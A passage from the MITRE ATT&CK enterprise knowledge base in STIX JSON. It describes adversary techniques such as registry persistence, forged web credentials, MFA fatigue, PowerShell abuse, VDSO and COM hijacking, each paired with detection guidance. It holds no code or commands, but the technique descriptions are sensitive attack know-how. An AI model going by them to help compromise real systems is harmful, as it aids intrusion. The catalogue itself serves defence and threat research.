these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_system_requirements":["HKEY_LOCAL_MACHINE keys require administrator access to create and modify"]},{"x_mitre_platforms":["SaaS","Windows","macOS","Linux","Azure AD","Office 365","Google Workspace","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","type":"attack-pattern","created":"2020-12-17T02:13:46.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1606","url":"https://attack.mitre.org/techniques/T1606"},{"source_name":"GitHub AWS-ADFS-Credential-Generator","url":"https://github.com/damianh/aws-adfs-credential-generator","description":"Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020."},{"description":"Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.","url":"https://wunderwuzzi23.github.io/blog/passthecookie.html","source_name":"Pass The Cookie"},{"source_name":"Unit 42 Mac Crypto Cookies January 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019."},{"source_name":"Microsoft SolarWinds Customer Guidance","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."}],"modified":"2021-10-12T14:26:52.179Z","name":"Forge Web Credentials","description":"Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Web Credential: Web Credential Usage","Web Credential: Web Credential Creation","Logon Session: Logon Session Creation"]},{"x_mitre_platforms":["Windows","Office 365","Linux","macOS","IaaS","SaaS","Azure AD","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jon Sternstein, Stern Security","Pawel Partyka, Microsoft 365 Defender"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","created":"2022-04-01T02:15:49.754Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1621","url":"https://attack.mitre.org/techniques/T1621"},{"source_name":"Russian 2FA Push Annoyance - Cimpanu","url":"https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/","description":"Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022."},{"source_name":"MFA Fatigue Attacks - PortSwigger","url":"https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications","description":"Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022."},{"source_name":"Suspected Russian Activity Targeting Government and Business Entities Around the Globe","url":"https://www.mandiant.com/resources/russian-targeting-gov-business","description":"Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)","modified":"2022-04-20T19:40:51.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Multi-Factor Authentication Request Generation","x_mitre_detection":"Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["User Account: User Account Authentication","Application Log: Application Log Content","Logon Session: Logon Session Metadata","Logon Session: Logon Session Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["CrowdStrike Falcon OverWatch"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","type":"attack-pattern","created":"2020-02-11T18:18:34.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1554","url":"https://attack.mitre.org/techniques/T1554"}],"modified":"2021-10-19T03:18:43.648Z","name":"Compromise Client Software Binary","description":"Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","File: File Metadata","File: File Creation","File: File Deletion"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Mayuresh Dani, Qualys","Praetorian"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","created":"2020-03-09T13:48:55.078Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1059.001","url":"https://attack.mitre.org/techniques/T1059/001"},{"source_name":"Microsoft PSfromCsharp APR 2014","url":"https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/","description":"Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019."},{"source_name":"SilentBreak Offensive PS Dec 2015","url":"https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/","description":"Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018."},{"source_name":"FireEye PowerShell Logging 2016","url":"https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html","description":"Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016."},{"source_name":"Github PSAttack","url":"https://github.com/jaredhaight/PSAttack","description":"Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016."},{"source_name":"inv_ps_attacks","url":"https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/","description":"Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021."},{"source_name":"Malware Archaeology PowerShell Cheat Sheet","url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016."},{"source_name":"TechNet PowerShell","url":"https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx","description":"Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016."},{"source_name":"Sixdub PowerPick Jan 2016","url":"http://www.sixdub.net/?p=367","description":"Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).\n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.Management.Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)","modified":"2022-04-19T20:25:48.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"PowerShell","x_mitre_detection":"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nMonitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nConsider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the <code>EngineVersion</code> field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the <code>HostName</code> field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: Process Metadata","Command: Command Execution","Script: Script Execution","Module: Module Load","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_remote_support":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810","type":"attack-pattern","created":"2017-05-31T21:30:30.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1023","external_id":"T1023"},{"external_id":"CAPEC-132","source_name":"capec","url":"https://capec.mitre.org/data/definitions/132.html"}],"modified":"2020-01-24T19:36:41.805Z","name":"Shortcut Modification","description":"Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire","Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c","created":"2020-01-24T13:40:47.282Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1546.001","url":"https://attack.mitre.org/techniques/T1546/001"},{"source_name":"Microsoft Change Default Programs","url":"https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs","description":"Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016."},{"source_name":"Microsoft File Handlers","url":"http://msdn.microsoft.com/en-us/library/bb166549.aspx","description":"Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014."},{"source_name":"Microsoft Assoc Oct 2017","url":"https://docs.microsoft.com/windows-server/administration/windows-commands/assoc","description":"Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018."},{"source_name":"TrendMicro TROJ-FAKEAV OCT 2012","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd","description":"Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018."},{"url":"https://capec.mitre.org/data/definitions/556.html","source_name":"capec","external_id":"CAPEC-556"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)","modified":"2022-04-20T16:55:49.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Change Default File Association","x_mitre_detection":"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator","SYSTEM","User"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5","type":"attack-pattern","created":"2020-01-14T01:35:00.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.014","url":"https://attack.mitre.org/techniques/T1055/014"},{"source_name":"ELF Injection May 2009","url":"https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html","description":"O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020."},{"source_name":"Backtrace VDSO","url":"https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/","description":"backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020."},{"source_name":"VDSO Aug 2005","url":"https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/","description":"Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020."},{"source_name":"Syscall 2014","url":"https://lwn.net/Articles/604515/","description":"Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020."},{"description":"Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.","source_name":"ArtOfMemoryForensics"},{"url":"https://www.gnu.org/software/acct/","description":"GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.","source_name":"GNU Acct"},{"url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing","description":"Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.","source_name":"RHEL auditd"},{"url":"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html","description":"stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.","source_name":"Chokepoint preload rootkits"}],"modified":"2022-02-24T15:21:39.761Z","name":"VDSO Hijacking","description":"Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.  ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Module: Module Load","Process: OS API Execution"],"x_mitre_defense_bypassed":["Anti-virus","Application control"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091","type":"attack-pattern","created":"2017-05-31T21:30:32.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1026","url":"https://attack.mitre.org/techniques/T1026"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-30T13:59:11.272Z","name":"Multiband Communication","description":"**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","type":"attack-pattern","created":"2020-03-15T16:16:25.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1071.002","url":"https://attack.mitre.org/techniques/T1071/002"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-08-21T14:41:22.911Z","name":"File Transfer Protocols","description":"Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ENDGAME"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69","type":"attack-pattern","created":"2017-05-31T21:31:33.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1122","url":"https://attack.mitre.org/techniques/T1122"},{"url":"https://msdn.microsoft.com/library/ms694363.aspx","description":"Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.","source_name":"Microsoft Component Object Model"},{"url":"https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence","description":"G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.","source_name":"GDATA COM Hijacking"},{"source_name":"Elastic COM Hijacking","description":"Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.","url":"https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"}],"modified":"2020-11-10T18:19:44.725Z","name":"Component Object Model Hijacking","description":"The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Autoruns Analysis"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Paul Speulstra, AECOM Global Security Operations 